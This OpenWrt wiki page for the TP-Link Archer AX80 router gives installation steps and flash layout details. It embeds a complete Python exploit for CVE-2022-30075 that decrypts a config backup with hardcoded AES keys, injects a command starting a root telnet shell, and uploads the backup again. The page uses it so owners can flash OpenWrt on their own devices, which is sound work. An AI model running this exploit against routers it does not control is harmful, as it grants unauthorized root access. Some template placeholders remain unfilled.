TP-Link Archer AX80 v1

The TP‑Link Archer AX80 (AX6000) is a dual‑band Wi‑Fi 6 (802.11ax) home router offering high throughput and multi‑gigabit connectivity aimed at high‑performance home or small office use. It provides up to 6.0 Gbps combined wireless speeds and flexible wired connectivity with a 2.5 Gbps port, making it suitable for fast internet plans and dense device environments.

TP-Link Archer AX80 v1 EU EU version

TP-Link Archer AX80 v1 US/RU/CA US/RU/CA version

EU and US/RU/CA versions are all supported:

  • EU version has 1.6 GHz 4-core CPU Mediatek MT7986B
  • US/RU/CA versions have 2.0 GHz 4-core CPU Mediatek MT7986AV

  • Reset device
  • Downgrade firmware to v1.1.2 (hold the reset button while powering on the router, keep holding for 10 sec, go to http://192.168.1.1, upload firmware)
  • Redo the initial set up, write down your admin password, select the WAN port, disable auto updates.
  • Connect the AX80EU's WAN port to an upstream device providing internet access, the script and future telnet connection attempts will fail if internet is unavailable.
  • Connect client to AX80EU's LAN port
  • Copy script

python script

python script

#!/usr/bin/python3
# Exploit Title: TP-Link Routers - Authenticated Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://github.com/aaronsvk/CVE-2022-30075
# Date: 2022-06-08
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AX50
# Vulnerability Description:
#   Remote Code Execution via importing malicious config file

import argparse # pip install argparse
import requests # pip install requests
import binascii, base64, os, re, json, sys, time, math, random, hashlib
import tarfile, zlib
from Cryptodome.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Random import get_random_bytes
from urllib.parse import urlencode

class WebClient(object):

	def __init__(self, target, password):
		self.target = target
		self.password = password.encode('utf-8')
		self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')
		self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')
		self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')

		self.stok = ''
		self.session = requests.Session()

		data = self.basic_request('/login?form=auth', {'operation':'read'})
		if data['success'] != True:
			print('[!] unsupported router')
			return
		self.sign_rsa_n = int(data['data']['key'][0], 16)
		self.sign_rsa_e = int(data['data']['key'][1], 16)
		self.seq = data['data']['seq']

		data = self.basic_request('/login?form=keys', {'operation':'read'})
		self.password_rsa_n = int(data['data']['password'][0], 16)
		self.password_rsa_e = int(data['data']['password'][1], 16)

		self.stok = self.login()


	def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = pad(plaintext, aes_block_size)
		return cipher.encrypt(plaintext_padded)


	def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = cipher.decrypt(ciphertext)
		plaintext = unpad(plaintext_padded, aes_block_size)
		return plaintext


	def rsa_encrypt(self, n, e, plaintext):
		public_key = RSA.construct((n, e)).publickey()
		encryptor = PKCS1_v1_5.new(public_key)
		block_size = int(public_key.n.bit_length()/8) - 11
		encrypted_text = ''
		for i in range(0, len(plaintext), block_size):
			encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()
		return encrypted_text


	def download_request(self, url, post_data):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)
		filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]
		if os.path.exists(filepath):
			print('[!] can\'t download, file "%s" already exists' % filepath)
			return
		with open(filepath, 'wb') as f:
			for chunk in res.iter_content(chunk_size=4096):
				f.write(chunk)
		return filepath


	def basic_request(self, url, post_data, files_data={}):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
		return json.loads(res.content)


	def encrypted_request(self, url, post_data):
		serialized_data = urlencode(post_data)
		encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))
		encrypted_data = base64.b64encode(encrypted_data)

		signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))
		encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)

		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
		if(res.status_code != 200):
			print('[!] url "%s" returned unexpected status code'%(url))
			return
		encrypted_data = json.loads(res.content)
		encrypted_data = base64.b64decode(encrypted_data['data'])
		data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
		return json.loads(data)


	def login(self):
		post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
		data = self.encrypted_request('/login?form=login', post_data)
		if data['success'] != True:
			print('[!] login failed')
			return
		print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
		return data['data']['stok']



class BackupParser(object):

	def __init__(self, filepath):
		self.encrypted_path = os.path.abspath(filepath)
		self.decrypted_path = os.path.splitext(filepath)[0]

		self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua
		self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua


	def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = pad(plaintext, aes_block_size)
		return cipher.encrypt(plaintext_padded)


	def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = cipher.decrypt(ciphertext)
		plaintext = unpad(plaintext_padded, aes_block_size)
		return plaintext


	def encrypt_config(self):
		if not os.path.isdir(self.decrypted_path):
			print('[!] invalid directory "%s"'%(self.decrypted_path))
			return

		# encrypt, compress each .xml using zlib and add them to tar archive
		with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:
			for filename in os.listdir(self.decrypted_path):
				basename,ext = os.path.splitext(filename)
				if ext == '.xml':
					xml_path = '%s/%s'%(self.decrypted_path,filename)
					bin_path = '%s/%s.bin'%(self.decrypted_path,basename)
					with open(xml_path, 'rb') as f:
						plaintext = f.read()
					if len(plaintext) == 0:
						f = open(bin_path, 'w')
						f.close()
					else:
						compressed = zlib.compress(plaintext)
						encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
						with open(bin_path, 'wb') as f:
							f.write(encrypted)
					tar.add(bin_path, os.path.basename(bin_path))
					os.unlink(bin_path)
		# compress tar archive using zlib and encrypt
		with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:
			compressed = zlib.compress(f1.read()+f2.read())
		encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
		# write into final config file
		with open('%s'%(self.encrypted_path), 'wb') as f:
			f.write(encrypted)
		os.unlink('%s/data.tar'%(self.decrypted_path))


	def decrypt_config(self):
		if not os.path.isfile(self.encrypted_path):
			print('[!] invalid file "%s"'%(self.encrypted_path))
			return

		# decrypt and decompress config file
		with open(self.encrypted_path, 'rb') as f:
			decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())
		decompressed = zlib.decompress(decrypted)
		os.mkdir(self.decrypted_path)
		# store decrypted data into files
		with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:
			f.write(decompressed[0:16])
		with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:
			f.write(decompressed[16:])
		# untar second part of decrypted data
		with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:
			tar.extractall(path=self.decrypted_path)
		# decrypt and decompress each .bin file from tar archive
		for filename in os.listdir(self.decrypted_path):
			basename,ext = os.path.splitext(filename)
			if ext == '.bin':
				bin_path = '%s/%s'%(self.decrypted_path,filename)
				xml_path = '%s/%s.xml'%(self.decrypted_path,basename)
				with open(bin_path, 'rb') as f:
					ciphertext = f.read()
				os.unlink(bin_path)
				if len(ciphertext) == 0:
					f = open(xml_path, 'w')
					f.close()
					continue
				decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)
				decompressed = zlib.decompress(decrypted)
				with open(xml_path, 'wb') as f:
					f.write(decompressed)
		os.unlink('%s/data.tar'%(self.decrypted_path))


	def modify_config(self, command):
		xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)
		if not os.path.isfile(xml_path):
			print('[!] invalid file "%s"'%(xml_path))
			return

		with open(xml_path, 'r') as f:
			xml_content = f.read()

		# https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script
		payload = '<service name="exploit">\n'
		payload += '<enabled>on</enabled>\n'
		payload += '<update_url>http://127.0.0.1/</update_url>\n'
		payload += '<domain>x.example.org</domain>\n'
		payload += '<username>X</username>\n'
		payload += '<password>X</password>\n'
		payload += '<ip_source>script</ip_source>\n'
		payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','&lt;').replace('&','&amp;'))
		payload += '<interface>wan</interface>\n' # not worked for other interfaces
		payload += '<retry_interval>5</retry_interval>\n'
		payload += '<retry_unit>seconds</retry_unit>\n'
		payload += '<retry_times>3</retry_times>\n'
		payload += '<check_interval>12</check_interval>\n'
		payload += '<check_unit>hours</check_unit>\n'
		payload += '<force_interval>30</force_interval>\n'
		payload += '<force_unit>days</force_unit>\n'
		payload += '</service>\n'

		if '<service name="exploit">' in xml_content:
			xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)
		else:
			xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)
		with open(xml_path, 'w') as f:
			f.write(xml_content)


parser = BackupParser("ax80config.bin")
parser.decrypt_config()
print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))
parser.modify_config("/usr/sbin/telnetd -l /bin/login.sh")
parser.encrypt_config()
print('[+] modified config file "%s"'%(parser.encrypted_path))

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')
arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')
arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')
args = arg_parser.parse_args()

client = WebClient(args.t, args.p)
parser = None

if not args.r:
	print('[*] downloading config file ...')
	filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})
	if not filepath:
		sys.exit(-1)

	print('[*] decrypting config file "%s" ...'%(filepath))
	parser = BackupParser(filepath)
	parser.decrypt_config()
	print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))

if not args.b and not args.r:
	filepath = '%s_modified'%(parser.decrypted_path)
	os.rename(parser.decrypted_path, filepath)
	parser.decrypted_path = os.path.abspath(filepath)
	parser.encrypted_path = '%s.bin'%(filepath)
	parser.modify_config(args.c)
	print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))

if not args.b:
	if parser is None:
		parser = BackupParser('%s.bin'%(args.r.rstrip('/')))
	print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))
	parser.encrypt_config()
	data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})
	timeout = data['data']['totaltime'] if data['success'] else 180
	print('[*] uploading modified config file "%s"'%(parser.encrypted_path))
	data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})
	if not data['success']:
		print('[!] unexpected response')
		print(data)
		sys.exit(-1)

	print('[+] config file successfully uploaded')
	print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))
  • execute script on client connected to LAN port, sudo be required, unless you're root.
sudo python3 tplink.py -t 192.168.0.1 -p [router admin pw] -c "/usr/sbin/telnetd -l /bin/login.sh"
  • Router will reboot and you should be able to reach it via telnet on 192.168.0.1.
  • Extract the busybox binary from the tar.xz, it's in the /usr/bin folder.
  • Serve the busybox binary along with the AX80EU initramfs on a local web server (python3 -m http.server 8000 works), use wget to download them to the router.
cd /tmp
wget http://client.IP:8000/busybox
wget http://client.IP:8000/initramfs-kernel.bin
  • Check size of initramfs, create UBI volume large enough to fit it and write it to flash
cd /tmp
du -h initramfs-kernel.bin
chmod a+x busybox
ubirmvol /dev/ubi0 -N kernel
ubimkvol /dev/ubi0 -n 1 -N kernel -s <initramfs size in MB + 1MB>MiB
./busybox ubiupdatevol /dev/ubi0_1 /tmp/initramfs-kernel.bin
reboot
  • After the reboot, connect back to the router via SSH, and update the boot loader variables
ssh root@192.168.1.1
fw_setenv bootargs "ubi.mtd=ubi0 console=ttyS0,115200n1 loglevel=8 earlycon=uart8250,mmio32,0x11002000 init=/etc/preinit"
fw_setenv mtdids "spi-nand0=spi-nand0"
fw_setenv mtdparts "spi-nand0:2M(boot),1M(u-boot-env),50M(ubi0),50M(ubi1),8M(userconfig),4M(tp_data),8M(mali_data)"
fw_setenv tp_boot_idx 0
  • Transfer sysupgrade to router's /tmp folder (wget or scp), and run sysupgrade.
sysupgrade -n /tmp/sysupgrade.bin

Router should reboot, installation is completed.

This installation method was initially posted in https://forum.openwrt.org/t/247036.

Place OpenWrt initramfs image on TFTP server with IP 192.168.1.2.

Attach UART, switch on the router and interrupt the boot process by pressing 'Ctrl-C'.

Load and run OpenWrt initramfs image:

tftpboot initramfs-kernel.bin
bootm

Run 'sysupgrade -n' using the OpenWrt sysupgrade image from console or Luci WebUI.

Place OpenWrt initramfs image on TFTP server with IP 192.168.1.2.

Load and run OpenWrt initramfs image:

tftpboot initramfs-kernel.bin
bootm

From within the OpenWRT initramfs, update the U-Boot params:

fw_setenv bootargs "ubi.mtd=ubi0 console=ttyS0,115200n1 loglevel=8 earlycon=uart8250,mmio32,0x11002000 init=/etc/preinit"
fw_setenv mtdids "spi-nand0=spi-nand0"
fw_setenv mtdparts "spi-nand0:2M(boot),1M(u-boot-env),50M(ubi0),50M(ubi1),8M(userconfig),4M(tp_data),8M(mali_data)"
fw_setenv tp_boot_idx 0

Run 'sysupgrade -n' using the OpenWrt sysupgrade image from console or Luci WebUI.

Stock layout (EU)

0x000000000000-0x000000200000 : "boot"
0x000000200000-0x000000300000 : "u-boot-env"
0x000000300000-0x000003500000 : "ubi0"
0x000003500000-0x000006700000 : "ubi1"
0x000006700000-0x000006f00000 : "userconfig"
0x000006f00000-0x000007300000 : "tp_data"
0x000007300000-0x000007B00000 : "mali_data"

Specific values needed for tftp

FIXME Enter values for “FILL-IN” below

Bootloader tftp server IPv4 address 192.168.1.1
Bootloader MAC address (special) NONE
Firmware tftp image Latest OpenWrt release (NOTE: Name must contain “tftp”)
TFTP transfer window FILL-IN seconds
TFTP window start approximately 10 seconds
TFTP client required IP address 192.168.1.2

Pres reset button and power on the router.

Navigate to U-Boot recovery web server (192.168.1.1) and upload the OEM firmware.

Basic configuration After flashing, proceed with this.
Set up your Internet connection, configure wireless, configure USB port, etc.

hardware.button on howto use and configure the hardware button(s). Here, we merely name the buttons, so we can use them in the above Howto.

FIXME Please fill in real values for this device, then remove the EXAMPLEs

The TP-Link AX80 has the following buttons:

BUTTON Event
EXAMPLE Reset reset
EXAMPLE Secure Easy Setup ses
EXAMPLE No buttons at all. -

Front:
Insert photo of front of the casing

Back:
Insert photo of back of the casing

Backside label:
Insert photo of backside label

Warranty

FIXME Describe what needs to be done to open the device, e.g. remove rubber feet, adhesive labels, screws, ...

  • To remove the cover and open the device, do a/b/c

Main PCB:
Insert photo of PCB

                            V
+-------+-------+-------+-------+
| +3.3V |  GND  |  TX   |  RX   |
+---+---+-------+-------+-------+
    |
    +--- Don't connect

CPU BLOCK HERE                     LEDS  HERE
Serial connection parameters
for TP-Link AX80 @@Version@@
EXAMPLE 115200, 8N1, 3.3V

port.jtag general information about the JTAG port, JTAG cable, etc.

How to connect to the JTAG Port of this specific device:
Insert photo of PCB with markings for JTAG port

None so far.

COPY HERE THE BOOTLOG WITH THE ORIGINAL FIRMWARE


COPY HERE THE BOOTLOG ONCE OPENWRT IS INSTALLED AND RUNNING


Space for additional notes, links to forum threads or other resources.

This website uses cookies. By using the website, you agree with storing cookies on your computer. Also you acknowledge that you have read and understand our Privacy Policy. If you do not agree leave the website.More information about cookies
  • Last modified: 2026/04/02 18:07
  • by wfgriffin88